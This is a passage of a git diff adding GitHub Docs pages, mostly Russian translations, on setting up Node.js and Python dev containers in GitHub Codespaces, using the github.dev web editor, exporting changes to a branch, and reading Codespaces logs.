Структура контейнера разработки + +При добавлении шаблона контейнера разработки Node.js в корень репозитория проекта добавляется каталог `.devcontainer` со следующими файлами: + +- `devcontainer.json` +- Dockerfile + +В добавленном файле `devcontainer.json` определяется несколько свойств, описанных после примера. + +#### devcontainer.json + +```json +// For format details, see https://aka.ms/devcontainer.json. For config options, see the README at: +// https://github.com/microsoft/vscode-dev-containers/tree/v0.162.0/containers/javascript-node +{ + "name": "Node.js", + "build": { + "dockerfile": "Dockerfile", + // Update 'VARIANT' to pick a Node version: 10, 12, 14 + "args": { "VARIANT": "14" } + }, + + // Set *default* container specific settings.json values on container create. + "settings": { + "terminal.integrated.shell.linux": "/bin/bash" + }, + + // Add the IDs of extensions you want installed when the container is created. + "extensions": [ + "dbaeumer.vscode-eslint" + ], + + // Use 'forwardPorts' to make a list of ports inside the container available locally. + // "forwardPorts": [], + + // Use 'postCreateCommand' to run commands after the container is created. + // "postCreateCommand": "yarn install", + + // Comment out connect as root instead. More info: https://aka.ms/vscode-remote/containers/non-root. + "remoteUser": "node" +} +``` + +- **name** — имя контейнера разработки может быть любым, это просто имя по умолчанию. +- **build** — свойства сборки. + - **dockerfile** — в объекте `build` `dockerfile` содержит путь к Dockerfile, который был также добавлен из шаблона. + - **args** + - **variant** — этот файл содержит только один аргумент сборки, а именно версию узла, передаваемую в Dockerfile. +- **settings** — параметры {% data variables.product.prodname_vscode %}, которые можно задать. + - **terminal.integrated.shell.linux** — по умолчанию используется bash, но это свойство можно изменить, если понадобится использовать другие оболочки терминала. +- **extensions** — расширения, включенные по умолчанию. + - **dbaeumer.vscode-eslint** — ES lint является отличным расширением для анализа кода, но для JavaScript есть ряд отличных расширений из Marketplace, которые также можно включить. +- **forwardPorts** — все порты, перечисленные здесь, переадресовываются автоматически. Дополнительные сведения см. в разделе [Переадресация портов в кодовом пространстве](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace). +- **postCreateCommand** — используйте это свойство для выполнения команд, которые не определены в Dockerfile, после создания codespace. +- **remoteUser** — по умолчанию вы работаете в качестве пользователя vscode, но при необходимости его можно задать в качестве корневого. + +#### Dockerfile + +```bash +# [Choice] Node.js version: 14, 12, 10 +ARG VARIANT="14-buster" +FROM mcr.microsoft.com/vscode/devcontainers/javascript-node:0-${VARIANT} + +# [Optional] Uncomment this section to install additional OS packages. +# RUN apt-get update && export DEBIAN_FRONTEND=noninteractive \ +# && apt-get -y install --no-install-recommends + +# [Optional] Uncomment if you want to install an additional version of node using nvm +# ARG EXTRA_NODE_VERSION=10 +# RUN su node -c "source /usr/local/share/nvm/nvm.sh && nvm install ${EXTRA_NODE_VERSION}" + +# [Optional] Uncomment if you want to install more global node modules +# RUN su node -c "npm install -g " +``` + +Dockerfile можно использовать для добавления дополнительных слоев контейнера, чтобы указать пакеты ОС, версии узлов или глобальные пакеты, которые нужно включить в контейнер. + +## Шаг 3. Изменение файла devcontainer.json + +После добавления конфигурации контейнера разработки и получения базового представления о том, как все устроено, теперь можно внести изменения для дальнейшей настройки среды. В этом примере вы добавите свойства, чтобы установить npm при запуске codespace и сделать список портов внутри контейнера доступным локально. + +1. В обозревателе выберите из дерева файл `devcontainer.json`, чтобы открыть его. Возможно, понадобится развернуть папку `.devcontainer`, чтобы увидеть его. + + ![Файл devcontainer.json в обозревателе](/assets/images/help/codespaces/devcontainers-options.png) + +2. Добавьте в файл `devcontainer.json` после `extensions` приведенные ниже строки. + + ```json{:copy} + "postCreateCommand": "npm install", + "forwardPorts": [4000], + ``` + + {% data reusables.codespaces.more-info-devcontainer %} + +{% data reusables.codespaces.rebuild-command %} + + {% data reusables.codespaces.rebuild-reason %} + +## Шаг 4. Запуск приложения + +В предыдущем разделе вы использовали `postCreateCommand` для установки набора пакетов с помощью npm. Теперь его можно использовать для запуска приложения с помощью npm. + +1. Выполните команду start в терминале.`npm start` + + ![npm start в терминале](/assets/images/help/codespaces/codespaces-npmstart.png) + +2. При запуске проекта в правом нижнем углу {% data variables.product.prodname_vscode_shortname %} появится всплывающее сообщение с запросом на подключение к порту, который используется проектом. + + ![Всплывающее уведомление о перенаправлении портов](/assets/images/help/codespaces/codespaces-port-toast.png) + +## Шаг 5. Фиксация изменений + +{% data reusables.codespaces.committing-link-to-procedure %} + +## Дальнейшие действия + +Теперь вы должны быть готовы приступить к разработке проекта JavaScript в {% data variables.product.prodname_github_codespaces %}. Ниже приведены дополнительные ресурсы для более сложных сценариев. + +{% data reusables.codespaces.next-steps-adding-devcontainer %} diff --git a/translations/ru-RU/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-project-for-codespaces.md b/translations/ru-RU/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-project-for-codespaces.md new file mode 100644 index 000000000000..281d1990cbfe --- /dev/null +++ b/translations/ru-RU/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-project-for-codespaces.md @@ -0,0 +1,24 @@ +--- +title: Добавление контейнера разработки в репозиторий +shortTitle: Add a dev container to your repository +allowTitleToDifferFromFilename: true +intro: 'Начните работу с проектами Node.js, Python, .NET или Java в {% data variables.product.prodname_codespaces %}, создав пользовательский контейнер разработки.' +versions: + fpt: '*' + ghec: '*' +type: tutorial +topics: + - Codespaces + - Developer + - Node + - JavaScript +hasExperimentalAlternative: true +interactive: true +ms.openlocfilehash: 9cc2e1c13950c8ecdcaf923f949a1ac42772460a +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148160105' +--- + diff --git a/translations/ru-RU/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-python-project-for-codespaces.md b/translations/ru-RU/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-python-project-for-codespaces.md new file mode 100644 index 000000000000..1353741f2bdf --- /dev/null +++ b/translations/ru-RU/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-python-project-for-codespaces.md @@ -0,0 +1,208 @@ +--- +title: Настройка проекта Python для GitHub Codespaces +allowTitleToDifferFromFilename: true +shortTitle: Setting up your Python project +intro: 'Начните работу с проектом Python в {% data variables.product.prodname_github_codespaces %}, создав пользовательский контейнер разработки.' +versions: + fpt: '*' + ghec: '*' +redirect_from: + - /codespaces/getting-started-with-codespaces/getting-started-with-your-python-project-in-codespaces +type: tutorial +topics: + - Codespaces + - Developer + - Python +hasExperimentalAlternative: true +hidden: true +ms.openlocfilehash: 2d9c627907f447a3efd873fceba963b899b57c39 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148159850' +--- +## Введение + +В этом руководстве показано, как настроить проект Python {% data reusables.codespaces.setting-up-project-intro %} + +### Предварительные требования + +- Необходим существующий проект Python в репозитории на {% data variables.product.prodname_dotcom_the_website %}. Если у вас нет проекта, воспользуйтесь этим руководством с таким примером: https://github.com/2percentsilk/python-quickstart +- Для вашей организации необходимо включить {% data variables.product.prodname_github_codespaces %}. + +## Шаг 1. Открытие проекта в codespace + +1. Под именем репозитория используйте раскрывающееся меню **кода {% octicon "code" aria-label="The code icon" %}** , а затем на вкладке **Codespaces** щелкните знак "плюс" ({% octicon "plus" aria-label="The plus icon" %}). + + ![Кнопка "Создать codespace"](/assets/images/help/codespaces/new-codespace-button.png) + +При создании codespace проект создается на удаленной виртуальной машине, выделенной для вас. По умолчанию контейнер для codespace содержит множество языков и сред выполнения, включая Node.js, JavaScript, Typescript, nvm, npm и yarn. Он также содержит общий набор средств, таких как GIT, wget, rsync, openssh и nano. + +{% data reusables.codespaces.customize-vcpus-and-ram %} + +## Шаг 2. Добавление конфигурации контейнера разработки в репозиторий из шаблона + +Контейнер разработки по умолчанию в {% data variables.product.prodname_github_codespaces %} поставляется с последней версией Python, диспетчерами пакетов (pip, Miniconda) и другими предварительно установленными стандартными средствами. Однако рекомендуется настроить собственный контейнер разработки, чтобы включить все средства и скрипты, необходимые для проекта. Это обеспечит полностью воспроизводимую среду для всех пользователей {% data variables.product.prodname_github_codespaces %} в репозитории. + +{% data reusables.codespaces.setup-custom-devcontainer %} + +{% data reusables.codespaces.command-palette-container %} +1. Для этого примера щелкните **Python 3**. Если требуются дополнительные функции, можно выбрать любой контейнер, предназначенный для Python, или сочетание таких средств, например Python 3 и PostgreSQL. + ![Выберите вариант Python в списке](/assets/images/help/codespaces/add-python-prebuilt-container.png) +1. Щелкните рекомендуемую версию Python. + ![Выбор версии Python](/assets/images/help/codespaces/add-python-version.png) +1. Подтвердите параметр добавления Node.js в настройку по умолчанию. + ![Выбор "Добавить Node.js"](/assets/images/help/codespaces/add-nodejs-selection.png) {% data reusables.codespaces.rebuild-command %} + +### Анатомия контейнера разработки + +При добавлении шаблона контейнера разработки Python в корень репозитория проекта добавляется каталог `.devcontainer` со следующими файлами: + +- `devcontainer.json` +- Dockerfile + +В добавленном файле `devcontainer.json` определяется несколько свойств, описанных после примера. + +#### devcontainer.json + +```json +{ + "name": "Python 3", + "build": { + "dockerfile": "Dockerfile", + "context": "..", + "args": { + // Update 'VARIANT' to pick a Python version: 3, 3.6, 3.7, 3.8, 3.9 + "VARIANT": "3", + // Options + "INSTALL_NODE": "true", + "NODE_VERSION": "lts/*" + } + }, + + // Set *default* container specific settings.json values on container create. + "settings": { + "terminal.integrated.shell.linux": "/bin/bash", + "python.pythonPath": "/usr/local/bin/python", + "python.linting.enabled": true, + "python.linting.pylintEnabled": true, + "python.formatting.autopep8Path": "/usr/local/py-utils/bin/autopep8", + "python.formatting.blackPath": "/usr/local/py-utils/bin/black", + "python.formatting.yapfPath": "/usr/local/py-utils/bin/yapf", + "python.linting.banditPath": "/usr/local/py-utils/bin/bandit", + "python.linting.flake8Path": "/usr/local/py-utils/bin/flake8", + "python.linting.mypyPath": "/usr/local/py-utils/bin/mypy", + "python.linting.pycodestylePath": "/usr/local/py-utils/bin/pycodestyle", + "python.linting.pydocstylePath": "/usr/local/py-utils/bin/pydocstyle", + "python.linting.pylintPath": "/usr/local/py-utils/bin/pylint" + }, + + // Add the IDs of extensions you want installed when the container is created. + "extensions": [ + "ms-python.python" + ], + + // Use 'forwardPorts' to make a list of ports inside the container available locally. + // "forwardPorts": [], + + // Use 'postCreateCommand' to run commands after the container is created. + // "postCreateCommand": "pip3 install --user -r requirements.txt", + + // Comment out connect as root instead. More info: https://aka.ms/vscode-remote/containers/non-root. + "remoteUser": "vscode" +} +``` + +- **name** — имя контейнера разработки может быть любым, это просто имя по умолчанию. +- **build** — свойства сборки. + - **dockerfile** — в объекте `build` `dockerfile` содержит путь к Dockerfile, который был также добавлен из шаблона. + - **args** + - **variant** — этот файл содержит только один аргумент сборки, а именно версию узла, передаваемую в Dockerfile. +- **settings** — параметры {% data variables.product.prodname_vscode %}. + - **terminal.integrated.shell.linux** — хотя bash используется здесь по умолчанию, изменив это, можно использовать и другие оболочки терминала. +- **extensions** — расширения, включенные по умолчанию. + - **ms-python.python** — расширение Microsoft Python обеспечивает расширенную поддержку языка Python (для всех активно поддерживаемых версий языка начиная с 3.6), включая такие функции, как IntelliSense, анализ кода, отладка, навигация по коду, форматирование кода, рефакторинг, обозреватель переменных, обозреватель тестов и многое другое. +- **forwardPorts** — все порты, перечисленные здесь, переадресовываются автоматически. Дополнительные сведения см. в разделе [Перенаправление портов в пространстве кода](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace). +- **postCreateCommand** — используйте это свойство для выполнения команд, которые не определены в Dockerfile, например `pip3 install -r requirements`, после создания codespace. +- **remoteUser** — по умолчанию вы работаете в качестве пользователя `vscode`, но при необходимости можно задать `root`. + +#### Dockerfile + +```bash +# [Choice] Python version: 3, 3.9, 3.8, 3.7, 3.6 +ARG VARIANT="3" +FROM mcr.microsoft.com/vscode/devcontainers/python:0-${VARIANT} + +# [Option] Install Node.js +ARG INSTALL_NODE="true" +ARG NODE_VERSION="lts/*" +RUN if [ "${INSTALL_NODE}" = "true" ]; then su vscode -c "umask 0002 && . /usr/local/share/nvm/nvm.sh && nvm install ${NODE_VERSION} 2>&1"; fi + +# [Optional] If your pip requirements rarely change, uncomment this section to add them to the image. +# COPY requirements.txt /tmp/pip-tmp/ +# RUN pip3 --disable-pip-version-check --no-cache-dir install -r /tmp/pip-tmp/requirements.txt \ +# && rm -rf /tmp/pip-tmp + +# [Optional] Uncomment this section to install additional OS packages. +# RUN apt-get update && export DEBIAN_FRONTEND=noninteractive \ +# && apt-get -y install --no-install-recommends + +# [Optional] Uncomment this line to install global node packages. +# RUN su vscode -c "source /usr/local/share/nvm/nvm.sh && npm install -g " 2>&1 +``` + +Dockerfile можно использовать для добавления дополнительных слоев контейнера, чтобы указать пакеты ОС, версии узлов или глобальные пакеты, которые нужно включить в контейнер. + +## Шаг 3. Изменение файла devcontainer.json + +После добавления конфигурации контейнера разработки и получения базового представления о том, как все устроено, теперь можно внести изменения для дальнейшей настройки среды. В этом примере вы добавите свойства для установки расширений и зависимостей проекта при запуске codespace. + +1. В обозревателе разверните папку `.devcontainer` и выберите в дереве файл `devcontainer.json`, чтобы открыть его. + + ![Файл devcontainer.json в обозревателе](/assets/images/help/codespaces/devcontainers-options.png) + +2. Обновите список `extensions` в файле `devcontainer.json`, чтобы добавить несколько расширений, полезных при работе с проектом. + + ```json{:copy} + "extensions": [ + "ms-python.python", + "cstrap.flask-snippets", + "streetsidesoftware.code-spell-checker" + ], + ``` + +3. Раскомментируйте `postCreateCommand`, чтобы автоматически установить требуемые компоненты в процессе настройки codespace. + + ```json{:copy} + // Use 'postCreateCommand' to run commands after the container is created. + "postCreateCommand": "pip3 install --user -r requirements.txt", + ``` + +{% data reusables.codespaces.rebuild-command %} + + {% data reusables.codespaces.rebuild-reason %} + +5. Проверьте, успешно ли применены изменения. Для этого убедитесь в том, что были установлены расширения "Проверка орфографии в кода" и "Фрагмент кода Flask". + + ![Список расширений](/assets/images/help/codespaces/python-extensions.png) + +## Шаг 4. Запуск приложения + +В предыдущем разделе вы использовали `postCreateCommand` для установки набора пакетов с помощью pip3. После установки зависимостей можно запустить приложение. + +1. Запустите приложение, нажав клавишу `F5` или введя `python -m flask run` в терминале codespace. + +2. При запуске проекта в правом нижнем углу {% data variables.product.prodname_vscode_shortname %} появится всплывающее сообщение с запросом на подключение к порту, который используется проектом. + + ![Всплывающее уведомление о перенаправлении портов](/assets/images/help/codespaces/python-port-forwarding.png) + +## Шаг 5. Фиксация изменений + +{% data reusables.codespaces.committing-link-to-procedure %} + +## Дальнейшие действия + +Теперь вы должны быть готовы приступить к разработке проекта Python в {% data variables.product.prodname_github_codespaces %}. Ниже приведены дополнительные ресурсы для более сложных сценариев. + +{% data reusables.codespaces.next-steps-adding-devcontainer %} diff --git a/translations/ru-RU/content/codespaces/the-githubdev-web-based-editor.md b/translations/ru-RU/content/codespaces/the-githubdev-web-based-editor.md new file mode 100644 index 000000000000..72cf9b447d34 --- /dev/null +++ b/translations/ru-RU/content/codespaces/the-githubdev-web-based-editor.md @@ -0,0 +1,115 @@ +--- +title: The github.dev web-based editor +intro: 'Use the github.dev {% data variables.product.prodname_serverless %} from your repository or pull request to create and commit changes.' +versions: + feature: githubdev-editor +type: how_to +miniTocMaxHeadingLevel: 3 +topics: + - Codespaces + - Visual Studio Code + - Developer +shortTitle: Web-based editor +redirect_from: + - /codespaces/developing-in-codespaces/web-based-editor +--- + +{% note %} + +**Note:** The github.dev {% data variables.product.prodname_serverless %} is currently in beta preview. You can provide feedback [in our Discussions](https://github.com/community/community/discussions/categories/general). + +{% endnote %} + +## About the {% data variables.product.prodname_serverless %} + +The {% data variables.product.prodname_serverless %} introduces a lightweight editing experience that runs entirely in your browser. With the {% data variables.product.prodname_serverless %}, you can navigate files and source code repositories from {% data variables.product.prodname_dotcom %}, and make and commit code changes. You can open any repository, fork, or pull request in the editor. + +The {% data variables.product.prodname_serverless %} is available to everyone for free on {% data variables.product.prodname_dotcom_the_website %}. + +The {% data variables.product.prodname_serverless %} provides many of the benefits of {% data variables.product.prodname_vscode %}, such as search, syntax highlighting, and a source control view. You can also use Settings Sync to share your own {% data variables.product.prodname_vscode_shortname %} settings with the editor. For more information, see "[Settings Sync](https://code.visualstudio.com/docs/editor/settings-sync)" in the {% data variables.product.prodname_vscode_shortname %} documentation. + +The {% data variables.product.prodname_serverless %} runs entirely in your browser’s sandbox. The editor doesn’t clone the repository, but instead uses the [GitHub Repositories extension](https://code.visualstudio.com/docs/editor/github#_github-repositories-extension) to carry out most of the functionality that you will use. Your work is saved in the browser’s local storage until you commit it. You should commit your changes regularly to ensure that they're always accessible. + +You must be signed in to use the web-based editor. + +## Opening the {% data variables.product.prodname_serverless %} + +You can open any {% data variables.product.prodname_dotcom %} repository in the {% data variables.product.prodname_serverless %} in either of the following ways: + +- To open the repository in the same browser tab, press . while browsing any repository or pull request on {% data variables.product.prodname_dotcom %}. + + To open the repository in a new browser tab, press >. + +- Change the URL from "github.com" to "github.dev". +- When viewing a file, use the dropdown menu next to {% octicon "pencil" aria-label="The edit icon" %} and select **Open in github.dev**. + + ![Edit file button dropdown menu](/assets/images/help/repository/edit-file-edit-dropdown.png) + +## {% data variables.product.prodname_codespaces %} and the {% data variables.product.prodname_serverless %} + +Both the {% data variables.product.prodname_serverless %} and {% data variables.product.prodname_github_codespaces %} allow you to edit your code straight from your repository. However, both have slightly different benefits, depending on your use case. + +|| {% data variables.product.prodname_serverless %} | {% data variables.product.prodname_github_codespaces %}| +|-|----------------|---------| +| **Cost** | Free. | Free monthly quota of usage for personal accounts. For information on pricing, see "[About billing for {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces#github-codespaces-pricing)."| +| **Availability** | Available to everyone on GitHub.com. | Available to everyone on GitHub.com. | +| **Start up** | The {% data variables.product.prodname_serverless %} opens instantly with a key-press and you can start using it right away, without having to wait for additional configuration or installation. | When you create or resume a codespace, the codespace is assigned a VM and the container is configured based on the contents of a `devcontainer.json` file. This set up may take a few minutes to create the environment. For more information, see "[Creating a codespace for a repository](/codespaces/developing-in-codespaces/creating-a-codespace-for-a-repository)." | +| **Compute** | There is no associated compute, so you won’t be able to build and run your code or use the integrated terminal. | With {% data variables.product.prodname_github_codespaces %}, you get the power of a dedicated VM on which you can run and debug your application.| +| **Terminal access** | None. | {% data variables.product.prodname_github_codespaces %} provides a common set of tools by default, meaning that you can use the Terminal exactly as you would in your local environment.| +| **Extensions** | Only a subset of extensions that can run in the web will appear in the Extensions View and can be installed. For more information, see "[Using extensions](#using-extensions)."| With {% data variables.product.prodname_github_codespaces %}, you can use most extensions from the {% data variables.product.prodname_vscode_marketplace %}.| + +### Continue working on {% data variables.product.prodname_codespaces %} + +You can start your workflow in the {% data variables.product.prodname_serverless %} and continue working on a codespace. If you try to access the Run and Debug View or the Terminal, you'll be notified that they are not available in the {% data variables.product.prodname_serverless %}. + +To continue your work in a codespace, click **Continue Working on…** and select **Create New Codespace** to create a codespace on your current branch. Before you choose this option, you must commit any changes. + +![A screenshot that shows the "Continue Working on" button in the UI](/assets/images/help/codespaces/codespaces-continue-working.png) + +## Using source control + +When you use the {% data variables.product.prodname_serverless %}, all actions are managed through the Source Control View, which is located in the Activity Bar on the left hand side. For more information on the Source Control View, see "[Version Control](https://code.visualstudio.com/docs/editor/versioncontrol)" in the {% data variables.product.prodname_vscode_shortname %} documentation. + +Because the web-based editor uses the GitHub Repositories extension to power its functionality, you can switch branches without needing to stash changes. For more information, see "[GitHub Repositories](https://code.visualstudio.com/docs/editor/github#_github-repositories-extension)" in the {% data variables.product.prodname_vscode_shortname %} documentation. + +### Create a new branch + +{% data reusables.codespaces.create-or-switch-branch %} + Any uncommitted changes you have made in your old branch will be available on your new branch. + +### Commit your changes + +{% data reusables.codespaces.source-control-commit-changes %} +5. Once you have committed your changes, they will automatically be pushed to your branch on {% data variables.product.prodname_dotcom %}. +### Create a pull request + +{% data reusables.codespaces.source-control-pull-request %} + +### Working with an existing pull request + +You can use the {% data variables.product.prodname_serverless %} to work with an existing pull request. + +1. Browse to the pull request you'd like to open in the {% data variables.product.prodname_serverless %}. +2. Press `.` to open the pull request in the {% data variables.product.prodname_serverless %}. +3. Once you have made any changes, commit them using the steps in [Commit your changes](#commit-your-changes). Your changes will be committed directly to the branch, it's not necessary to push the changes. + +## Using extensions + +The {% data variables.product.prodname_serverless %} supports {% data variables.product.prodname_vscode_shortname %} extensions that have been specifically created or updated to run in the web. These extensions are known as "web extensions". To learn how you can create a web extension or update your existing extension to work for the web, see "[Web extensions](https://code.visualstudio.com/api/extension-guides/web-extensions)" in the {% data variables.product.prodname_vscode_shortname %} documentation. + +Extensions that can run in the {% data variables.product.prodname_serverless %} will appear in the Extensions View and can be installed. If you use Settings Sync, any compatible extensions are also installed automatically. For information, see "[Settings Sync](https://code.visualstudio.com/docs/editor/settings-sync)" in the {% data variables.product.prodname_vscode_shortname %} documentation. + + +## Troubleshooting + +If you have issues opening the {% data variables.product.prodname_serverless %}, try the following: + +- Make sure you are signed in to {% data variables.product.prodname_dotcom %}. +- Disable any ad blockers. +- Use a non-incognito window in your browser to open the {% data variables.product.prodname_serverless %}. + +### Known limitations + +- The {% data variables.product.prodname_serverless %} is currently supported in Chrome (and various other Chromium-based browsers), Edge, Firefox, and Safari. We recommend that you use the latest versions of these browsers. +- Some keybindings may not work, depending on the browser you are using. These keybinding limitations are documented in the "[Known limitations and adaptations](https://code.visualstudio.com/docs/remote/codespaces#_known-limitations-and-adaptations)" section of the {% data variables.product.prodname_vscode_shortname %} documentation. +- `.` may not work to open the {% data variables.product.prodname_serverless %} according to your local keyboard layout. In that case, you can open any {% data variables.product.prodname_dotcom %} repository in the {% data variables.product.prodname_serverless %} by changing the URL from `github.com` to `github.dev`. diff --git a/translations/ru-RU/content/codespaces/troubleshooting/exporting-changes-to-a-branch.md b/translations/ru-RU/content/codespaces/troubleshooting/exporting-changes-to-a-branch.md new file mode 100644 index 000000000000..19843f1cdbb2 --- /dev/null +++ b/translations/ru-RU/content/codespaces/troubleshooting/exporting-changes-to-a-branch.md @@ -0,0 +1,32 @@ +--- +title: Экспорт изменений в ветвь +intro: 'В этой статье приводятся инструкции по экспорту в ветвь изменений, внесенных в codespace.' +versions: + fpt: '*' + ghec: '*' +type: reference +topics: + - Codespaces +shortTitle: Exporting changes +ms.openlocfilehash: 2a7dee4725af31f3983e753b4202f94be1742556 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148159909' +--- +## Экспорт изменений в ветвь + +При использовании {% data variables.product.prodname_github_codespaces %} может потребоваться экспортировать изменения в ветвь, на запуская среду codespace. Это может быть удобно, если вы достигли [предельной суммы расходов](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces) или столкнулись с общей проблемой, связанной с доступом к codespace. + +Если codespace не опубликовано (созданное на основе шаблона и не связанное с репозиторием в {% data variables.product.product_name %}), вы не сможете экспортировать изменения в ветвь, но вы можете опубликовать codespace в новом репозитории без запуска codespace. Дополнительные сведения см. в разделе [Создание codespace на основе шаблона](/codespaces/developing-in-codespaces/creating-a-codespace-from-a-template#publishing-from-githubcom). + +Чтобы экспортировать изменения в ветвь, выполните следующее: + +{% data reusables.codespaces.your-codespaces-procedure-step %} Или для отдельного репозитория щелкните меню **{% octicon "code" aria-label="The code icon" %} Код** . +1. Щелкните многоточие ( **...** ) справа от среды codespace, откуда нужно выполнить экспорт. +2. Выберите **{% octicon "git-branch" aria-label="The git branch icon" %} Export changes to branch** (Экспорт изменений в ветвь). + + ![Экспорт изменений в ветвь](/assets/images/help/codespaces/export-changes-to-a-branch.png) + +1. Во всплывающем окне слева выберите **Создать ветвь**. diff --git a/translations/ru-RU/content/codespaces/troubleshooting/github-codespaces-logs.md b/translations/ru-RU/content/codespaces/troubleshooting/github-codespaces-logs.md new file mode 100644 index 000000000000..686526e2bde1 --- /dev/null +++ b/translations/ru-RU/content/codespaces/troubleshooting/github-codespaces-logs.md @@ -0,0 +1,177 @@ +--- +title: Журналы GitHub Codespaces +intro: 'Общие сведения о журналах, используемых {% data variables.product.prodname_github_codespaces %}.' +versions: + fpt: '*' + ghec: '*' +type: reference +topics: + - Codespaces + - Logging +shortTitle: Codespaces logs +redirect_from: + - /codespaces/troubleshooting/codespaces-logs +ms.openlocfilehash: f5cd482888f58f85a051bb9b6e2c5d7c026ed9a9 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148160100' +--- +{% jetbrains %} + +{% data reusables.codespaces.codespaces-jetbrains-beta-note %} + +{% endjetbrains %} + +Сведения о {% data variables.product.prodname_github_codespaces %} выводиться в различные журналы: + +{% webui %} + +- журналы codespace; +- журналы создания; +- Журналы консоли браузера (для веб-клиента {% data variables.product.prodname_vscode_shortname %}) + +Журналы расширений доступны, если вы используете {% data variables.product.prodname_github_codespaces %} в {% data variables.product.prodname_vscode_shortname %}. Перейдите на вкладку "{% data variables.product.prodname_vscode %}" выше, чтобы получить дополнительные сведения. + +{% endwebui %} + +{% vscode %} + +- журналы codespace; +- журналы создания; +- Журналы расширений (для классического приложения {% data variables.product.prodname_vscode_shortname %}) + +Журналы браузера доступны, если в браузере используется {% data variables.product.prodname_github_codespaces %}. Щелкните вкладку "Веб-браузер" выше для получения дополнительных сведений. + +{% endvscode %} + +{% cli %} + +- журналы codespace; +- журналы создания; + +Другие журналы доступны, если вы используете {% data variables.product.prodname_github_codespaces %} в {% data variables.product.prodname_vscode_shortname %} или в веб-браузере. Перейдите на вкладки выше для получения дополнительных сведений. + +{% endcli %} + +{% jetbrains %} + +- журналы создания; + +Другие журналы доступны, если вы используете {% data variables.product.prodname_github_codespaces %} в {% data variables.product.prodname_vscode_shortname %} или в веб-браузере. Перейдите на вкладки выше для получения дополнительных сведений. + +{% endjetbrains %} + +{% webui %} + +{% data reusables.codespaces.codespace-logs %} + +1. Если вы используете {% data variables.product.prodname_github_codespaces %} в браузере, убедитесь, что вы подключены к пространству кода, которое требуется отладить. +1. Откройте {% data variables.product.prodname_vscode_command_palette_shortname %}, нажав сочетание клавиш SHIFT+Command+P (Mac) или CTRL+SHIFT+P (Windows/Linux), а затем введите **Экспортировать журналы**. Выберите в списке элемент **Codespaces: экспорт журналов**, чтобы скачать журналы. +1. Решите, куда следует сохранить ZIP-архив с журналами, а затем нажмите кнопку **Сохранить** (в классической версии) или кнопку **ОК** (в веб-версии). +1. Если вы используете {% data variables.product.prodname_github_codespaces %} в браузере, щелкните правой кнопкой мыши ZIP-архив журналов в представлении проводника и выберите **Скачать...** чтобы скачать журналы на локальный компьютер. + +{% endwebui %} + +{% vscode %} + +{% data reusables.codespaces.codespace-logs %} + +1. Откройте {% data variables.product.prodname_vscode_command_palette_shortname %}, нажав сочетание клавиш SHIFT+Command+P (Mac) или CTRL+SHIFT+P (Windows/Linux), а затем введите **Экспортировать журналы**. Выберите в списке элемент **Codespaces: экспорт журналов**, чтобы скачать журналы. +1. Решите, куда следует сохранить ZIP-архив с журналами, а затем нажмите кнопку **Сохранить** (в классической версии) или кнопку **ОК** (в веб-версии). + +{% endvscode %} + +{% cli %} + +{% data reusables.codespaces.codespace-logs %} + +В настоящее время для доступа к этим журналам нельзя использовать {% data variables.product.prodname_cli %}. Чтобы получить к ним доступ, откройте codespace в {% data variables.product.prodname_vscode_shortname %} или в браузере. + +{% endcli %} + +## Журналы создания + +Эти журналы содержат сведения о контейнере, контейнере разработки и их конфигурации. Они полезны для отладки проблем с конфигурацией и настройкой. + +{% webui %} + +1. Подключитесь к пространству codespace, которое требуется отладить. +2. Откройте {% data variables.product.prodname_vscode_command_palette_shortname %}, нажав сочетание клавиш SHIFT+Command+P (Mac) или CTRL+SHIFT+P (Windows/Linux), а затем введите **Создать журналы**. Выберите в списке элемент **Codespaces: просмотр журнала создания**, чтобы открыть файл `creation.log`. + +Если вы хотите предоставить доступ к журналу службе поддержке, можно скопировать текст из журнала создания в текстовый редактор и сохранить файл локально. + +{% endwebui %} + +{% vscode %} + +Откройте {% data variables.product.prodname_vscode_command_palette_shortname %}, нажав сочетание клавиш SHIFT+Command+P (Mac) или CTRL+SHIFT+P (Windows/Linux), а затем введите **Создать журналы**. Выберите в списке элемент **Codespaces: просмотр журнала создания**, чтобы открыть файл `creation.log`. + +Если вы хотите предоставить доступ к журналу службе поддержке, можно скопировать текст из журнала создания в текстовый редактор и сохранить файл локально. + +{% endvscode %} + +{% cli %} + +{% data reusables.cli.cli-learn-more %} + +Чтобы просмотреть журнал создания, используйте подкоманду `gh codespace logs`. Выполнив команду, выберите требуемый вариант из представленного списка кодовых пространств. + +```shell +gh codespace logs +``` + +Дополнительные сведения об этой команде см. в [ руководстве по {% data variables.product.prodname_cli %}](https://cli.github.com/manual/gh_codespace_logs). + +Если вы хотите предоставить доступ к журналу службе поддержки, можно сохранить выходные данные в файл: + +```shell +gh codespace logs -c > /path/to/logs.txt +``` + +{% endcli %} + +{% vscode %} + +## Журналы расширений + +Эти журналы доступны только для пользователей {% data variables.product.prodname_vscode_shortname %}. Они полезны, если кажется, что расширение {% data variables.product.prodname_github_codespaces %} или редактор {% data variables.product.prodname_vscode_shortname %} имеют проблемы, препятствующие созданию или подключению. + +1. В {% data variables.product.prodname_vscode_shortname %} откройте палитру команд. +1. Введите **Журналы** и выберите в списке элемент **Разработчик: открытие папки журналов расширений**, чтобы открыть папку журналов расширений в проводнике системы. + +В этом представлении можно получить доступ к журналам, созданным 